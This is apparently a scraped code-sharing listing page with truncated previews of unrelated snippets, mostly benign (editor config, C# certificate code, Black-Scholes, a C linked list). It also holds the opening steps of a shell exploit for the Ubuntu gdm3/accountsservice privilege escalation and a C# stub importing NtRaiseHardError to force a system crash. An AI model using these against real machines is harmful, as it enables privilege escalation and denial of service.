This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Remove the line below if you want to inherit .editorconfig settings from higher directories | |
root = true | |
# C# files | |
[*.cs] | |
#### Core EditorConfig Options #### | |
# Indentation and spacing | |
indent_size = 4 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private static X509Certificate2 CreateSelfSignedCertificate(Guid? guid, bool is_server, (IEnumerable<string> Hosts, IEnumerable<IPAddress> Addresses)? alts) | |
{ | |
string subject = guid?.ToString()?.Replace('-', '_') ?? ALT_DOMAIN; | |
if (is_server) | |
subject = $"<server {ALT_DOMAIN}>"; | |
$"Generating X509 encryption certificates for \"{subject}\"...".LOG(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
namespace unknown6656___init_block | |
{ | |
struct __empty {}; | |
template <class F> | |
inline decltype(auto) operator+(__empty, F&& f) noexcept | |
{ | |
return std::forward<F>(f)(); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<Project Sdk="Microsoft.NET.Sdk"> | |
<PropertyGroup> | |
<TargetFramework>net8.0</TargetFramework> | |
<LangVersion>preview</LangVersion> | |
<EnablePreviewFeatures>True</EnablePreviewFeatures> | |
<!-- <GenerateRequiresPreviewFeaturesAttribute>False</GenerateRequiresPreviewFeaturesAttribute> --> | |
<Nullable>enable</Nullable> | |
<NullableContextOptions>enable</NullableContextOptions> | |
<AllowUnsafeBlocks>true</AllowUnsafeBlocks> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Use this include if you have a class with const members and have | |
// trouble using the assign or copy constructor. Thank me later. | |
// | |
// Example: | |
// class A { | |
// const int X, Y; | |
// | |
// A() : A(0, 0) { } | |
// A(int x, int y) : X(x), Y(y) { } | |
// |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE | |
cd ~ | |
PAM=~/.pam_environment | |
if [ -f "$PAM" ]; then | |
mv "$PAM" "$PAM~backup" | |
fi | |
ln -s /dev/zero "$PAM" | |
echo "PLEASE GO TO 'Settings > Region & Language' AND TRY CHANGING THE LANGUAGE." | |
echo "THE UI WILL FREEZE. YOUR CPU MIGHT GET ANGRY. IGNORE BOTH. GO BACK TO THIS TERMINAL." |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
namespace BlackScholes | |
{ | |
public enum OptionType { Put, Call } | |
public static class BlackSholes | |
{ | |
/* The Black and Scholes (1973) Stock option formula | |
* C# Implementation |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System.Runtime.InteropServices; | |
using System; | |
public static unsafe class Program | |
{ | |
[DllImport("kernel32.dll")] | |
private static extern void* VirtualAlloc(void* addr, int size, int type, int protect); | |
[DllImport("kernel32.dll")] | |
private static extern bool VirtualProtect(void* addr, int size, int new_protect, int* old_protect); | |
[DllImport("kernel32.dll")] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using using System.Runtime.InteropServices; | |
public static unsafe class HardError | |
{ | |
[DllImport("ntdll.dll")] | |
private static extern int RtlAdjustPrivilege(int Privilege, bool bEnablePrivilege, bool IsThreadPrivilege, out bool _); | |
[DllImport("ntdll.dll")] | |
private static extern int NtRaiseHardError(uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, void* Parameters, uint ValidResponseOption, out uint _); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdlib.h> | |
#define null 0 | |
#define true 1 | |
#define false 0 | |
// Der Typ des gespeicherten Wertes | |
#define valuetype unsigned int | |
// ein Listenknoten |
NewerOlder